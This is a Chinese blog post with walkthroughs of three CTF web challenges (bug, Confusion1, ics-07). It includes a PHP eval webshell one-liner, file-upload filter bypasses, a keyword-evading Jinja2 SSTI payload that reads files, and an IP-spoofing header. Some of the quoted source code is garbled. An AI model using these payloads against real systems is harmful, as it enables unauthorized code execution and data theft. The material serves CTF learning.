bug、Confusion1、ics-07、 - 实践

bug

打开题目,发现是个登陆页面,有注册、找回密码选项

随便注册一个,进行登录,登录成功后,点击管理发现没权限

应该要越权,去密码

发现没有用户的参数,没法在这改admin的密码,去开始页面试试

先修改自己密码,进去后使用bp抓包

发现有用户参数,直接修改admin的密码

修改成功,尝试登陆

成功登陆admin用户,直接去看Message

发现IP不正确,那就伪造IP

x-forwarded-for:127.0.0.1

没发现,Flag,查看源码

注释暴露了一个功能模块的访问路径index.php?module=filemanage&do=???

猜测xss,sql,ssrf,upload

不是xss,发现是index.php?module=filemanage&do=upload

那就试试各种绕过方式,可以参考我的这篇文章:upload靶场通关

最后尝试:

改后缀为php5

文件类型为image/jpeg

文件内的一句话木马为

<script language="php"> @eval$_POST['cmd']); </script>

成功了

获得flag:cyberpeace{a3828e2e57cddd4e5f7fce0ec2fd0359}

Confusion1

题目描述:某天,Bob说:PHP是最好的语言,但是Alice不赞同。所以Alice编写了这个网站证明。在她还没有写完的时候,我发现其存在问题。(请不要使用扫描器)

那就每个页面都访问一便,发现除了Home页面,Login,Register都是会报错的,那就查看报错页面的源代码

发现flag的存放地址:/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt

还有一个Salt文件:/opt/salt_b420e8cfb8862548e68459ae1d37a1d5.txt

测试是否存在SSTI

{{6*7}}

使用{{''.__class__}}查看一下返回结果

应该是有字符被过滤了

尝试subclass

{{''.__subclass__}}

尝试mro

{{''.__mro__}}

发现都被过滤了

尝试request

{{''.__request__}}

request没有被过滤

将class等被过滤的字符串设置成参数,传递给request.args,获取class,使用

{{""[request.args.a]}}?a=__class__

显示正常,关键字没有被过滤,那么我们现在需要读取件

/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt
{{""[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?&a=__class__&b=__mro__&c=__subclasses__&d=read

获得flag:cyberpeace{2b0d7b3015a23d99599cc3b2c37f8827}

ics-07

打开题目,一个一个尝试,发现只有项目管理页面有反应,点击view-source发现源码,有3段php代码

第一段:

第一段是个简单的重定向,get参数page不为index.php即可

第二段:

需要得到一个admin的session,之后可以post传入con与file两个参数,这里对文件名进行了过滤,防止后缀名是php等后缀名的文件。上传成功后,会切换到uploaded目录,创建文件,并将con的内容写入,那么实际文件的路径就是:uploaded/backup/xxx.xxx

something wae wrong ! 
"); // 如果查询结果存在 if ($result) {     // 输出查询到的用户id     echo "id: " . $result->id . "
";     // 输出查询到的用户名     echo "name:" . $result->user . "
";     // 将session中的admin值设为True,标记为管理员身份     $_SESSION['admin'] = True; } ?>

代码首先对GET参数id做了三个前置校验:

1.isset($_GET['id']):确保id参数存在;

2.floatval($_GET['id'])!=='1':存在逻辑坑:floatval()返回的是浮点型数值,而'1'是字符串,使用严格不等于!==比较时,因类型不同,该条件永远为真

3.substr($_GET['id'],-1)==='9':要求id的开头是1,结尾是9。

写一个payload获取id为1的数据

?page=flag.php&id=1a9

构造Post的payload

file= p.php/.&con=

查看是否上传成功

上传成功,使用蚁剑连接

那就去找flag

在/var/www/html/flag.php里发现flag:cyberpeace{7353d6594665974a652c64e2ba450dd2}

posted @ 2026-01-27 17:27  yangykaifa  阅读(3)  评论(0)    收藏  举报